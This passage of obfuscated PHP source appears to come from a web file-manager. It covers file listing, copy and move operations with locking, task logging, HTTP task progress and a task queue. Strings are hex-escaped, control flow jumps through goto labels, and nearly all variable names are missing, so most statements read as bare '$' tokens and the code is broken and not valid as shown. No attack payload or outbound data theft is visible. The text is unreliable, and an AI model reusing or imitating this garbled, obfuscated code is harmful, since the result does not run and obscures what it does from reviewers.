(isset($[$[509]]) && $[$[509]][$[577]]) { $ = $GLOBALS[$[6]][$[91]][$[578]]; if ($[$[509]][$[579]] <= time() - $) { $this->metaSet($[$[183]], $[577], null); $this->metaSet($[$[183]], $[579], null); unset($[$[509]][$[577]]); continue; } $ = $[$[509]][$[577]]; $[$[509]][$[580]] = Model($[569])->getInfoSimpleOuter($); } } unset($); } public function parentLevelArray($) { $ =& $_SERVER[]; $ = explode($[50], trim($, $[50])); return array_remove_value($, $[214]); } public function listAll($) { $ =& $_SERVER[]; $ = $this->sourceInfo($); $ = array($[581] => array($[582], $[$[555]] . $ . $[583]), $[584] => 0); $ = $[585]; $ = "\114\x45\106\x54\40\112\117\x49\116\40{$this->tablePrefix}\x69\x6f\137\146\151\x6c\x65\x20\x66\151\x6c\x65\x20\157\x6e\40\x73\157\x75\x72\143\145\56\146\151\x6c\145\111\x44\40\x3d\x20\146\x69\154\145\56\146\x69\154\145\111\104"; $ = $this->alias($[489])->field($)->where($)->join($)->select(); $this->_listAppendAuth($); $this->_listAppendUser($); $this->_listAppendPath($); $ = array_to_keyvalue($, $[183]); $ = "\57{$[$[32]]}\x2f"; $ = $ == $[563] ? $[8] : $; $ = array(); foreach ($ as $ => $) { $ = $this->parentLevelArray($[$[555]]); array_shift($); $ = $; for ($ = 0; $ < count($); $++) { $ .= $[$[$]][$[32]] . $[8]; } $ .= $[$[32]]; if ($[$[455]]) { $ .= $[8]; } $ = array($[465] => str_replace($[563], $[8], str_replace($[563], $[8], str_replace($[563], $[8], $))), $[586] => intval($[$[455]]), $[587] => intval($[$[78]]), $[87] => intval($[$[87]]), $[89] => $this->pathInfoFilter($)); if (!$[$[455]]) { $[$[511]] = $[$[511]]; } $[] = $; } $ = array_sort_by($, $[86]); return $; } } class SourceListMoveModel extends SourceListModel { public $allowLockSource = 1; public $moveClearAuth = true; public function allowLock() { return $this->allowLockSource; } public function lockCopyStart($) { $ =& $_SERVER[]; if (!$this->allowLock()) { return; } $this->_lockCheck($[588], $); $ = 1; $this->_lockEvent($, array($[589], $[590]), $); $this->_lockParent($, array($[590]), $); $this->_lockEvent($, array($[591], $[592]), $); $this->_lockCheckEnd($[588], $); } public function lockCopyEnd($) { $ =& $_SERVER[]; if (!$this->allowLock()) { return; } $ = 0; $this->_lockEvent($, array($[589], $[590]), $); $this->_lockParent($, array($[590]), $); $this->_lockEvent($, array($[591], $[592]), $); } public function lockWriteStart($, $ = '') { $ =& $_SERVER[]; if (!$this->allowLock()) { return; } $this->_lockCheck($[589], $); $ = 1; $this->_lockKey($[593] . $ . $[10] . $, $); $this->_lockEvent($, array($[588], $[590]), $); $this->_lockParent($, array($[588], $[590]), $); $this->_lockCheckEnd($[589], $); } public function lockWriteEnd($, $ = '') { $ =& $_SERVER[]; if (!$this->allowLock()) { return; } $ = 0; $this->_lockKey($[593] . $ . $[10] . $, $); $this->_lockEvent($, array($[588], $[590]), $); $this->_lockParent($, array($[588], $[590]), $); } public function lockMoveStart($) { $ =& $_SERVER[]; if (!$this->allowLock()) { return; } $this->_lockCheck($[590], $); $ = 1; $this->_lockKey($[594] . $, $); $this->_lockEvent($, array($[588], $[589]), $); $this->_lockParent($, array($[588], $[590]), $); $this->_lockEvent($, array($[595], $[591], $[592]), $); $this->_lockCheckEnd($[590], $); } public function lockMoveEnd($) { $ =& $_SERVER[]; if (!$this->allowLock()) { return; } $ = 0; $this->_lockKey($[594] . $, $); $this->_lockEvent($, array($[588], $[589]), $); $this->_lockParent($, array($[588], $[590]), $); $this->_lockEvent($, array($[595], $[591], $[592]), $); } private function _lockCheck($, $) { $ =& $_SERVER[]; $ = $this->sourceInfo($); $ = $ . $[10] . $; $this->_lockTimeStart[$] = timeFloat(); if (!is_array($)) { return; } $ = LNG($[596]); CacheLock::setErrorMsg($[165] . htmlspecialchars($[$[32]]) . $[167] . $); $this->_lockKey($, 1); $this->_lockKey($, 0); $ = array_reverse($this->parentLevelArray($[$[555]])); foreach ($ as $) { $ = $ . $[597] . $; if (CacheLock::lockGet($[598] . $)) { $ = $this->sourceInfo($); CacheLock::setErrorMsg($[165] . htmlspecialchars($[$[32]]) . $[167] . $); $this->_lockKey($, 1); $this->_lockKey($, 0); } } } private function _lockCheckEnd($, $) { $ =& $_SERVER[]; $ = $ . $[10] . $; CacheLock::setErrorMsg($[424]); if (!isset($this->_lockTimeStart[$])) { return; } $ = timeFloat() - $this->_lockTimeStart[$]; unset($this->_lockTimeStart[$]); if ($ > 0.5) { unset(self::$cacheSourceInfo[$[503] . $]); } $ = $this->sourceInfo($); if (!$) { show_json(LNG($[107]), !1); } } private function _lockParent($, $, $) { if (!$this->autoLockSet) { return; } $ = $this->sourceInfo($); if (!is_array($)) { return; } $ = array_reverse($this->parentLevelArray($[$_SERVER[][555]])); foreach ($ as $) { $this->_lockEvent($, $, $); } } private function _lockEvent($, $, $) { $ =& $_SERVER[]; if (!$this->autoLockSet) { return; } foreach ($ as $) { $ = $ . $[10] . $; if ($ && CacheLock::lockGet($[598] . $)) { continue; } $this->_lockKey($, $); } } public $_lockTimeStart = array(); public $_lockTime = 5; private static $_lockItemArr = array(); private function _lockKey($, $ = 1) { $ = $_SERVER[][598] . md5($); if ($) { if (isset(self::$_lockItemArr[$])) { return; } self::$_lockItemArr[$] = 1; CacheLock::lock($, $this->_lockTime); } else { if (!isset(self::$_lockItemArr[$])) { return; } unset(self::$_lockItemArr[$]); CacheLock::unlock($); } } public function isParentOf($, $) { $ =& $_SERVER[]; $ = $this->sourceInfo($); $ = $this->sourceInfo($); $ = $[$[555]] . $[$[183]] . $[50]; $ = $[$[555]] . $[$[183]] . $[50]; $ = strpos($, $) === 0; return $; } private $targetIsDelete = 0; public function copy($, $, $ = REPEAT_REPLACE, $ = '') { $ =& $_SERVER[]; $ = $this->sourceInfo($); $ = $this->sourceInfo($); if (!$ || !$ || $[$[455]] != $[90]) { return !1; } if ($this->isParentOf($, $)) { return !1; } $ = $ ? $ : $[$[32]]; $this->lockCopyStart($); $this->lockWriteStart($, $); $ = array($[599] => array(), $[600] => array(), $[601] => array()); $this->targetIsDelete = intval($[$[475]]); $ = $this->fileNameExistAuto($, $); $ = $this->_copy($, $, $, $, !0, $); $this->_childrenListClear(); $this->lockCopyEnd($); $this->lockWriteEnd($, $); if ($[$[455]] == $[90] && $ == $) { $this->folderSizeResetChildren($); } Model($[602])->addAll($[$[600]], array(), !0); if ($ != $ || $[$[455]] == $[90]) { Model($[603])->eventCopy($); } $this->saveAll($[$[601]]); Model($[216])->linkAdd($[$[599]]); $this->folderSizeReset($); $this->updateModifyTime($); return $; } private function _copy($, $, $, &$, $, $ = '') { $ =& $_SERVER[]; $ = $this->sourceInfoCache($); $ = $[$[455]] == $[90]; $ = $ ? $ : $[$[32]]; $ = $this->fileNameExistAuto($, $); if ($) { $this->_childrenAllMake($); if ($ && $) { $this->_childrenAllMake($); } } if (!$) { return $this->_copyCreate($, $, $, $); } $ = $; if ($) { if ($ == REPEAT_RENAME_FOLDER) { $ = $this->fileNameAutoCache($, $, $, $); $ = $this->_copyCreate($, $, $, $); } else { $ = $this->_childrenList($); foreach ($ as $) { $this->_copy($[$[183]], $, $, $, !1); } } } else { if ($ == REPEAT_RENAME || $ == REPEAT_RENAME_FOLDER) { $ = $this->fileNameAutoCache($, $, $, $); $ = $this->_copyCreate($, $, $, $); } else { if ($ == REPEAT_REPLACE) { $ = $this->sourceInfoCache($); $ = $this->fileHistory($, $[$[511]], $[$[78]]); if ($) { $[$[599]][] = $[$[511]]; } } else { if ($ == REPEAT_SKIP) { } } } Hook::trigger($[604], array($[605], $, 0)); } return $; } private function _copyCreate($, $, $, &$) { $ =& $_SERVER[]; $ = $this->sourceInfoCache($); $ = $this->sourceInfoCache($); $ = $this->_makeItemData($, $, $); Hook::trigger($[606], $); Hook::trigger($[607], array($[608], $, 0)); $ = $this->add($); $ = array($[183] => $, $[32] => $); $this->_copyApplyMeta($, $); if ($[$[455]] != $[90]) { $[$[599]][] = $[$[511]]; return $; } $ = array(); $ = array(); $this->_childrenListAll($, $); $ = count($); if ($ == 0) { return $; } $ = $this->sourceInfo($); foreach ($ as $) { $ = $this->_makeItemData($, $, $[$[32]]); $[$[555]] = $[$[555]]; $[] = $; } $this->chunkEventSet($[609], array($[610], $, $)); $this->addAll($, array(), !1); $ = $this->where(array($[182] => $))->select(); $ = $this->_childrenMakeRelation($, $); $[$] = $; $ = array(); $ = array(); foreach ($ as $) { $ = $[$[183]]; $ = $this->_childrenMatch($, $, $); $[] = array($[183], $, $[182], $[$[182]]); $[] = array($[183], $, $[555], $[$[555]]); $this->_copyApplyMeta($, $); if ($[$[455]] != $[90]) { $[$[599]][] = $[$[511]]; } } $this->chunkEventSet($[611], array($[612], $, $)); $this->saveAll($); $this->chunkEventSet($[613], array($[614], $, $)); $this->saveAll($); return $; } private function _childrenMakeRelation($, $) { $ =& $_SERVER[]; $ = array(); $ = array(); foreach ($ as $) { $ = $[$[32]] . $[8] . $[$[555]]; $[$] = $[$[183]]; } foreach ($ as $) { $ = $[$[32]] . $[8] . $[$[555]]; $ = $[$]; $[$] = $[$[183]]; } return $; } private function _childrenMatch($, $, $) { $ =& $_SERVER[]; $ = $[$[555]]; $ = $this->parentLevelArray($[$[555]]); foreach ($ as $) { if (isset($[$])) { $ .= $[$] . $[615]; } } $ = rtrim($, $[50]) . $[50]; $ = $this->parentLevelArray($); $ = $[count($) - 1]; return array($[182] => $, $[555] => $); } private function _makeItemData($, $, $) { $ =& $_SERVER[]; $ = array($[616] => $[$[455]], $[464] => $, $[617] => $[$[456]] ? $[$[456]] : $[12], $[512] => $[$[511]] ? $[$[511]] : 0, $[587] => $[$[78]] ? $[$[78]] : 0, $[618] => intval($[$[180]]), $[619] => intval($[$[540]]), $[620] => intval(USER_ID), $[621] => intval(USER_ID), $[447] => intval($[$[183]]), $[622] => $[$[555]] . $[$[183]] . $[50], $[468] => $[$[87]] ? $[$[87]] : time(), $[474] => 0, $[623] => $[12]); return $; } private function _copyApplyMeta($, &$) { $ =& $_SERVER[]; $ = $[$[183]]; $ = $[$[32]]; if (!isset($[$[624]]) || !$[$[624]] || $[$[624]] == $[214]) { $[$[601]][] = array($[183], $, $[624], short_id($)); } if (Input::check($, $[625])) { $[$[600]][] = array($[183] => $, $[96] => $[508], $[420] => str_replace($[53], $[12], Pinyin::get($))); $[$[600]][] = array($[183] => $, $[96] => $[507], $[420] => Pinyin::get($, $[626])); } $[$[600]][] = array($[183] => $, $[96] => $[487], $[420] => KodSort::makeStr($)); } private $_childrenListCache = array(); private $_childrenItemCache = array(); private function _childrenAllMake($) { $ =& $_SERVER[]; $ = $this->sourceInfo($); $ = $[627]; $ = array($[555] => array($[582], $[$[555]] . $ . $[583]), $[475] => $this->targetIsDelete); $ = $this->field($)->where($)->select(); if (!$) { return; } $ = array_to_keyvalue($, $[183]); foreach ($ as $) { $ = $[$[182]]; $ = $[$[183]]; if (!isset($this->_childrenListCache[$]) && $[$[455]] == $[90]) { $this->_childrenListCache[$] = array(); } if (!isset($this->_childrenListCache[$])) { $this->_childrenListCache[$] = array(); } $this->_childrenListCache[$][$] = $; $this->_childrenItemCache[$] = $; } } private function _childrenListAll($, &$) { $ =& $_SERVER[]; if (!isset($this->_childrenListCache[$])) { return; } $ = $this->_childrenListCache[$]; foreach ($ as $ => $) { $[$] = $; if ($[$[455]] == $[90]) { $this->_childrenListAll($, $); } } } private function sourceInfoCache($) { if (isset($this->_childrenItemCache[$])) { return $this->_childrenItemCache[$]; } return $this->sourceInfo($); } private function _childrenList($) { if (isset($this->_childrenListCache[$])) { return $this->_childrenListCache[$]; } return $this->_childrenListSelect($); } private function _childrenListSelect($) { $ =& $_SERVER[]; $ = array($[182] => $, $[475] => $this->targetIsDelete); $ = $this->where($)->select(); $ = $ ? $ : array(); $ = array_to_keyvalue($, $[183]); $this->_childrenListCache[$] = $; foreach ($ as $ => $) { $this->_childrenItemCache[$] = $; } return $; } private function fileNameExistAuto($, $) { $ =& $_SERVER[]; if ($[$[475]] == $[90]) { return $this->fileNameExist($, $[$[32]]); } return $this->fileNameExistCache($, $[$[32]]); } private function fileNameExistCache($, $) { $ =& $_SERVER[]; $ = strtolower($); $ = $this->_childrenList($); foreach ($ as $) { if ($ == strtolower($[$[32]])) { return $[$[183]]; } } return !1; } private function fileNameAutoCache($, $, $, $) { $ =& $_SERVER[]; $ = $this->_childrenList($); $ = array_to_keyvalue($, $[12], $[32]); return $this->fileNameAutoGet($, $, $, $); } private function _childrenListClear() { $this->_childrenListCache = null; $this->_childrenItemCache = null; $this->_childrenListCache = array(); $this->_childrenItemCache = array(); } public function move($, $, $ = REPEAT_REPLACE, $ = '') { $ =& $_SERVER[]; $ = $this->sourceInfo($); $ = $this->sourceInfo($); if ($[$[182]] == $[$[183]]) { if ($[$[475]] == $[90]) { Model($[473])->restore(array($)); } if (!$ || $ == $[$[32]]) { return $; } } $ = $this->pathInfoMore($); if ($this->isParentOf($, $)) { return !1; } if (!$ || !$ || $[$[455]] != $[90]) { return !1; } Hook::trigger($[628], $); $this->targetIsDelete = intval($[$[475]]); if ($[$[182]] == $ && $ != $[$[32]]) { $ = $this->fileNameExist($, $); if ($ && $[$[455]] == $[214]) { $ = $this->sourceInfo($); $ = $this->fileHistory($, $[$[511]], $[$[78]]); if (!$) { Model($[514])->remove($[$[511]]); } $this->removeNow($, !1); $this->folderSizeReset($); Hook::trigger($[629], $); return $; } } $ = $ ? $ : $[$[32]]; $this->lockMoveStart($); $this->lockWriteStart($, $); $ = array($[599] => array(), $[630] => !1); $this->clearShare($, $); $ = $this->fileNameExistAuto($, $); $ = $this->_move($, $, $, $, $); $this->sourceCacheClear(); if ($[$[455]] == $[90] && $) { $this->folderSizeResetChildren($); } Model($[216])->linkAdd($[$[599]]); if ($ && $[$[630]]) { $this->removeNow($, !1); } $this->lockMoveEnd($); $this->lockWriteEnd($, $); $this->folderSizeReset($[$[182]]); $this->folderSizeReset($); $ = array($[$[182]], $); if ($[$[455]] == $[90]) { $[] = $; } $this->updateModifyTime($); Model($[603])->eventMove($, $[$[182]], $); Hook::trigger($[629], $); return $; } private function _move($, $, $, &$, $ = '') { $ =& $_SERVER[]; $ = $this->sourceInfo($); $ = $[$[455]] == $[90]; $ = $ ? $ : $[$[32]]; $ = $this->fileNameExistAuto($, $); $this->lockMoveStart($); $this->lockWriteStart($, $); if (!$) { return $this->_moveForce($, $, $); } $ = $; $ = !1; if ($) { if ($ == REPEAT_RENAME_FOLDER) { $ = $this->fileNameAuto($, $, $, $); $ = $this->_moveForce($, $, $); } else { if ($ == REPEAT_RENAME_FOLDER) { $ = REPEAT_RENAME; } $ = $this->_childrenListSelect($); foreach ($ as $) { $this->_move($[$[183]], $, $, $); } $ = !0; } } else { if ($ == REPEAT_SKIP) { $ = !0; } else { if ($ == REPEAT_RENAME || $ == REPEAT_RENAME_FOLDER) { $ = $this->fileNameAuto($, $, $, $); $ = $this->_moveForce($, $, $); } else { if ($ == REPEAT_REPLACE) { $ = $this->sourceInfoCache($); $ = $this->fileHistory($, $[$[511]], $[$[78]]); $ = !0; if ($) { $[$[599]][] = $[$[511]]; } } } } } if ($ && !$[$[630]]) { $[$[630]] = !0; } return $; } private function _moveForce($, $, $) { $ =& $_SERVER[]; $ = $this->sourceInfo($); $ = $this->sourceInfo($); $ = $[$[455]] == $[90]; $ = array($[447] => $[$[183]], $[622] => $[$[555]] . $[$[183]] . $[50], $[618] => $[$[180]], $[619] => $[$[540]], $[621] => USER_ID, $[464] => $); $ = $[$[180]] == SourceModel::TYPE_GROUP && $[$[180]] == SourceModel::TYPE_GROUP && $[$[540]] == $[$[540]]; if (!$ && $this->moveClearAuth) { Model($[538])->authClear($); } $ = $[$[475]] == $[90] && $[$[475]] != $[90]; if ($) { $[$[474]] = 0; } if ($) { $ = array($[622] => array($[582], $[$[555]] . $[$[183]] . $[583])); $ = $[$[555]] . $[$[183]] . $[50]; $ = $[$[555]] . $[$[183]] . $[50] . $[$[183]] . $[50]; $ = array($[622] => array($[631], "\162\x65\160\x6c\x61\143\145\50\x70\x61\162\145\x6e\x74\114\x65\166\x65\154\54\47{$}\47\x2c\47{$}\x27\x29"), $[618] => $[$[180]], $[619] => $[$[540]]); if ($) { $[$[474]] = 0; } $this->where($)->data($)->save(); } $this->where(array($[461] => $))->data($)->save(); return $; } private function clearShare($, $) { $ =& $_SERVER[]; $ = $this->sourceInfo($); $ = $this->sourceInfo($); if ($[$[540]] == $[$[540]] && $[$[180]] == $[632]) { return; } $ = array($[555] => array($[582], $[$[555]] . $ . $[583])); $ = $this->field($[461])->where($)->getField($[183], !0); if (!$) { return; } $ = array($[183] => array($[7], $), $[633] => 1); $ = Model($[634])->field($[635])->where($)->select(); if (!$) { return; } $ = array_to_keyvalue($, $[12], $[635]); $ = array($[635] => array($[7], $)); Model($[634])->where($)->save(array($[633] => 0)); Model($[636])->where($)->delete(); } public function copyFolderFromIO($, $, $, $, $, $ = false) { $ =& $_SERVER[]; $ = array($[600] => array(), $[601] => array(), $[599] => array(), $[637] => array()); $ = $ ? $ : $->pathThis($); $ = $this->fileNameExist($, $); $ = $this->mkdir($, $, $); if (!$ || $ == REPEAT_RENAME_FOLDER) { $ = !1; } if ($) { $this->_childrenAllMake($); } Hook::trigger($[638]); $this->_copyChildTo($, $, $, $, $, $); Hook::trigger($[639]); if ($) { $this->folderSizeResetChildren($); } $this->_childrenListClear(); Model($[602])->addAll($[$[600]], array(), !0); Model($[603])->eventCopy($); $this->saveAll($[$[601]]); Model($[514])->linkAdd($[$[599]]); Model($[514])->remove($[$[637]]); $this->folderSizeReset($); $this->updateModifyTime($); return $; } private function _copyChildTo($, $, $, $, &$, $) { $ =& $_SERVER[]; $ = $this->sourceInfoCache($); $ = $->listPath($); $ = $ ? $ : array($[85] => array(), $[84] => array()); $ = array_merge($[$[85]], $[$[84]]); $ = $this->_addFiles($, $[$[85]], $); $ = array(); foreach ($ as &$) { if (isset($[$[$[32]]])) { $ = $[$[$[32]]]; } $[$[455]] = $[$[33]] == $[77]; $[$[456]] = substr(_get($, $[177], $[12]), 0, 10); $[$[78]] = _get($, $[78], 0); $[$[511]] = _get($, $[511], 0); if (!isset($[$[640]]) && $[$[511]]) { $[$[637]][] = $[$[511]]; } if ($) { $ = $this->fileNameExistCache($, $[$[32]]); if ($) { if ($[$[455]] || $ == REPEAT_SKIP) { continue; } if ($ == REPEAT_REPLACE) { $ = $this->sourceInfoCache($); $ = $this->fileHistory($, $[$[511]], $[$[78]]); if ($) { $[$[599]][] = $[$[511]]; } continue; } else { if ($ == REPEAT_RENAME) { $[$[32]] = $this->fileNameAutoCache($, $[$[32]], $, !1); } } } } if (!$[$[455]] && $[$[511]] == 0) { continue; } if (!$[$[455]] && $[$[511]]) { $[$[599]][] = $[$[511]]; } $[] = $this->_makeItemData($, $, $[$[32]]); } unset($); if (!empty($)) { $this->addAll($); $this->_childrenListSelect($); } $ = $this->_childrenList($); $ = array_to_keyvalue($, $[32]); foreach ($ as $) { $ = $[$[$[32]]]; $ = $[$[183]]; $this->_copyApplyMeta($, $); if ($[$[33]] == $[77]) { $[$[86]] = $->getPathInner($[$[86]]); $this->_copyChildTo($, $[$[86]], $, $, $, $); } } } private function _addFiles($, $, $) { $ =& $_SERVER[]; if (!$ || count($) == 0) { return array(); } $ = array(); foreach ($ as &$) { Hook::trigger($[641], $); $[$[86]] = $->getPathInner($[$[86]]); $ = $->hashSimple($[$[86]]); $ = $->hashMd5($[$[86]]); if (strlen($) > 10 && !isset($[$])) { $[$] = array(); } $[$[642]] = $; $[$[517]] = $; $[$][] =& $; if (count($[$]) > 1) { $[$[640]] = !0; } Hook::trigger($[643], $); } unset($); $ = array($[517] => array($[7], array_keys($))); $ = Model($[644]); $ = $->where($)->select(); $ = $ ? $ : array(); foreach ($ as $) { if (!isset($[$[$[517]]])) { continue; } $ = $[$[$[517]]]; foreach ($ as &$) { $[$[511]] = $[$[511]]; $[$[640]] = !0; } unset($); } $ = array(); foreach ($ as $) { Hook::trigger($[645], $); if (isset($[$[640]]) && $[$[640]]) { Hook::trigger($[646], $); continue; } $ = $->getPathInner($[$[86]]); $ = $->addFileMake($, $[$[78]], $[$[642]], $[$[517]], $[$[32]], $); Hook::trigger($[646], $); if (!is_array($)) { continue; } $[] = $; } $->addAll($); $ = array($[517] => array($[7], array_keys($))); $ = $->where($)->select(); $ = $ ? $ : array(); foreach ($ as $) { if (!isset($[$[$[517]]])) { continue; } $ =& $[$[$[517]]]; foreach ($ as &$) { $[$[511]] = $[$[511]]; } unset($); } $ = array(); foreach ($ as $) { $[$[$[32]]] = $; } return $; } } goto A; D: function binCheckBigger($, $) { return $ > $; } $_SERVER[$_SERVER[][3]] = ("\x38\x32\x39\x35"."\61\70")+0;$_bdi6="quemzivyc2okd0fps6x4b5wjnalthr3817g9g5zqsojfir0kvt3byw491u682cdemnap7xhle460fs";; class ClassBaseCall { protected static $_methodListStatic = array(); protected static $_methodList = array(); public function __call($, $) { $ =& $_SERVER[]; if (isset(self::$_methodList[$])) { return @call_user_func_array(self::$_methodList[$], $); } else { if (method_exists($this, $)) { return call_user_func_array(array($this, $), $); } else { think_exception(__CLASS__ . $[4] . $ . $[5]); } } } public static function __callStatic($, $) { if (isset(self::$_methodListStatic[$])) { return call_user_func_array(self::$_methodListStatic[$], $); } else { if (method_exists(self, $)) { return call_user_func_array(array(self, $), $); } else { show_json("{$}\x28\51\x20\x6e\x6f\164\40\145\x78\151\163\164\73", !1); } } } public static function addMethod($, $) { self::$_methodList[$] = $; } public static function addMethodStatic($, $) { self::$_methodListStatic[$] = $; } } goto d; F: class TaskHttp extends Task { protected function startAfter() { $ =& $_SERVER[]; $ =& $this->task; $[$[1783]] = 1; Hook::bind($[1750], array($this, $[1784])); Hook::bind($[1752], array($this, $[1785])); Hook::bind($[1754], array($this, $[1786])); } protected function endAfter() { $ =& $_SERVER[]; Hook::unbind($[1750], array($this, $[1784])); Hook::unbind($[1752], array($this, $[1785])); Hook::unbind($[1754], array($this, $[1786])); } public function progressStart($) { $ =& $_SERVER[]; $ = curl_getinfo($); self::log($[1787] . $[$[353]]); self::valueSet($this->task[$[445]], $this->task); } public function progressEnd($) { $ =& $_SERVER[]; self::log($[1788] . $this->task[$[445]]); $this->end(); } public function progress($, $, $, $, $) { $ =& $_SERVER[]; $ =& $this->task; if ($ > 0) { $[$[831]] = $[$[831]] == 0 ? $ : $[$[831]]; $[$[1706]] = $; } else { if ($ > 0) { $[$[831]] = $[$[831]] == 0 ? $ : $[$[831]]; $[$[1706]] = $; } } $this->update(); self::log("\x70\x72\157\147\x72\145\x73\163\110\164\x74\160\x3a\144\157\x77\156\72{$}\57{$}\73\x20\x75\160\154\157\x61\144\x3a{$}\57{$}\x3b"); } } class TaskLog { private $task; private $taskID; private $isEnd = false; static function newTask($, $ = '', $ = 0, $ = '') { $ =& $_SERVER[]; $ = $ ? $ : ($ ? $ : $); $ = new Task($, $, $, $); $GLOBALS[$[1789] . $] = new TaskLog($[1689], $, $); return $; } public function __construct($ = '', $ = '', $ = '') { $ =& $_SERVER[]; if (!$) { $ = $[1689]; } $ = $ . $[432] . rand_string(10); if (!$) { $ = $ . $[53] . $; } switch ($) { case $[1689]: if (!$ || !$->task) { return echoLog($ . $[1790]); } $ = $; $ = $->task[$[445]]; $ = $->task[$[445]]; if (!$->task[$[1593]]) { $->task[$[1593]] = $ ? $ : $; } break; case $[1791]: if (!$) { return echoLog($ . $[1792]); } $ = is_string($) ? array($) : $; $ = new TaskFileTransfer($, $, 0, $ ? $ : $[0]); foreach ($ as $) { $->addPath($); } break; case $[359]: if (!$) { return echoLog($ . $[1792]); } $ = is_string($) ? array($) : $; $ = new TaskZip($, $, 0, $ ? $ : $[0]); foreach ($ as $) { $->addPath($); } break; case $[1265]: if (!$) { return echoLog($ . $[1792]); } $ = new TaskUnZip($, $, 0, $ ? $ : $); if ($) { $->addFile($); } break; case $[151]: $ = new TaskHttp($, $); break; default: return; break; } $this->task = $; $this->taskID = $; Hook::bind($[1726], array($this, $[1793])); Hook::bind($[1728], array($this, $[1794])); Hook::bind($[1722], array($this, $[1795])); echoLog($[1796] . $->task[$[1593]]); } public function __destruct() { $this->end(); } public function end($ = '') { $ =& $_SERVER[]; if ($this->isEnd) { return; } if (!$this->task || !$this->taskID) { return; } $this->isEnd = !0; $this->task->end($); $this->task = !1; $this->taskID = !1; Hook::unbind($[1726], array($this, $[1793])); Hook::unbind($[1728], array($this, $[1794])); Hook::unbind($[1722], array($this, $[1795])); } public function taskUpdate($) { $ =& $_SERVER[]; if (!$ || $this->taskID != $[$[445]]) { return; } $ = 20; $ = intval($[$[1707]] * $); $ = $[165] . str_repeat($[935], $) . $[1065] . str_repeat($[53], $ - $) . $[167]; $ = $ . sprintf($[1797], $[$[1707]] * 100) . $[1798]; $ = $ . $[$[1706]] . $[8] . $[$[831]] . LNG($[1799]); $ = $[12]; if ($[$[1783]]) { $ = $ . size_format($[$[1706]]) . $[8] . size_format($[$[831]]); $ = size_format($[$[1708]]) . $[1800]; } if ($[$[1115]]) { $[$[1756]] = $[$[1115]] . $[53] . $[$[1756]]; } if ($[$[1756]]) { $ = $[12]; if ($[$[1758]]) { $ = $[50] . size_format($[$[1759]]) . $[8] . size_format($[$[1758]]); } $ .= $[$[1756]] . $; } if ($[$[808]] && !$[$[1758]]) { $ .= $[53] . size_format($[$[1763]]) . $[8] . size_format($[$[808]]); } echoLog($ . $[53] . $, !0); } public function taskEnd($) { $ =& $_SERVER[]; if (!$ || $this->taskID != $[$[445]]) { return; } $ = $ ? $[$[1706]] . $[8] . $[$[831]] . LNG($[1799]) . $[73] : $[12]; echoLog($[1801] . $[$[1593]] . ($[$[496]] ? $[73] . $[$[496]] : $[12]) . $[73] . $ . $[1802] . sprintf($[896], timeFloat() - $[$[1709]]) . $[1721]); $this->end(); } public function taskKill($) { $ =& $_SERVER[]; if (!$ || $this->taskID != $[$[445]]) { return; } echoLog($[1803] . $[$[1593]]); } } class TaskQueue { const MAX_LENGTH = 2000; const QUEUE_LENGTH = "\x74\x61\x73\153\121\165\x65\x75\x65\114\145\x6e\x67\164\150"; const QUEUE_DATA = "\x74\141\x73\x6b\121\165\145\x75\145\x44\141\x74\x61"; const QUEUE_TIME = "\164\141\163\x6b\x51\x75\x65\165\x65\114\141\x73\164\x52\x75\x6e"; const QUEUE_THREAD = "\x74\141\x73\153\121\165\x65\x75\x65\124\150\162\145\x61\x64"; public static $listData = false; public static $listDataAdd = false; public static function initTask() { } public static function add($, $ = array(), $ = '', $ = '') { $ =& $_SERVER[]; if (self::$listData === !1) { self::$listData = self::getAll(); self::$listDataAdd = array(); } if (count(self::$listData) >= self::MAX_LENGTH) { return !1; } if ($ && array_find_by_field(self::$listData, $[96], $)) { return !0; } if ($ && array_find_by_field(self::$listDataAdd, $[96], $)) { return !0; } self::$listDataAdd[] = array($[310] => $, $[1804] => $, $[496] => $, $[96] => $); return !0; } public static function addSubmit() { $ =& $_SERVER[]; if (!self::$listDataAdd || count(self::$listDataAdd) == 0) { return; } self::setAll(array_merge(self::getAll(), self::$listDataAdd)); write_log($[1805] . json_encode_force(array_to_keyvalue(self::$listDataAdd, $[12], $[496])), $[187]); self::$listData = !1; self::$listDataAdd = !1; } public static function addNow($, $ = array(), $ = '', $ = '') { $ =& $_SERVER[]; if (self::count() >= self::MAX_LENGTH) { return !1; } $ = self::getAll(); if ($ && array_find_by_field($, $[96], $)) { return !0; } $[] = array($[310] => $, $[1804] => $, $[496] => $, $[96] => $); self::setAll($); write_log($[1805] . $, $[187]); return !0; } public static function run() { $ =& $_SERVER[]; $ = self::getAll(); $ = array_shift($); if (!$) { return !1; } self::setAll($); $ = timeFloat(); $ = $[12]; try { $ = Hook::apply($[$[310]], $[$[1804]]); } catch (Exception $) { write_log($, $[1233]); } $ = number_format(timeFloat() - $, 3) . $[1721]; if ($ && is_string($)) { $ = $ . $[1806] . $; } write_log($[1807] . $[$[496]] . $[1808] . $, $[187]); Cache::set(self::QUEUE_TIME, time(), 3600 * 24 * 30); return !0; } public static function runThread() { $ =& $_SERVER[]; $ = self::threadCount() + 1; if ($ > 3 || !self::count()) { return; } write_log($[1809] . $, $[187]); Cache::set(self::QUEUE_THREAD, $, 3600 * 24); AutoTask::clearUserStatus(); while (!0) { if (!self::run()) { break; } usleep(mt_rand(200, 50000)); } Cache::set(self::QUEUE_THREAD, 0, 3600 * 24); write_log($[1810], $[187]); } public static function getKey($, $ = "\151\x6e\x74") { $ =& $_SERVER[]; Cache::removeMemory($); $ = Cache::get($); if ($ == $[334]) { return $ ? intval($) : 0; } if ($ == $[1811]) { return is_array($) ? $ : array(); } return $; } public static function lastTime() { return self::getKey(self::QUEUE_TIME); } public static function count() { return self::getKey(self::QUEUE_LENGTH); } public static function threadCount() { return self::getKey(self::QUEUE_THREAD); } public static function getAll() { return self::getKey(self::QUEUE_DATA, $_SERVER[][1811]); } public static function setAll($) { $ = 3600 * 24 * 30; Cache::set(self::QUEUE_LENGTH, count($), $); Cache::set(self::QUEUE_DATA, $, $); Cache::removeMemory(self::QUEUE_LENGTH); Cache::removeMemory(self::QUEUE_DATA); } public static function clear() { self::setAll(array()); Cache::set(self::QUEUE_THREAD, 0, 60); } } goto F; E: class PathDriverLocal extends PathDriverBase { private $pathAuth; public function __construct() { parent::__construct(); $this->pathAuth = DEFAULT_PERRMISSIONS; } public function getPath($) { if (substr($, 0, 2) == $_SERVER[][1405]) { $ = BASIC_PATH . substr($, 2); } return $; } public function iconvApp($) { $ =& $_SERVER[]; global $config; return $this->iconvTo($, $config[$[1403]], $config[$[1402]]); } public function iconvSystem($) { $ 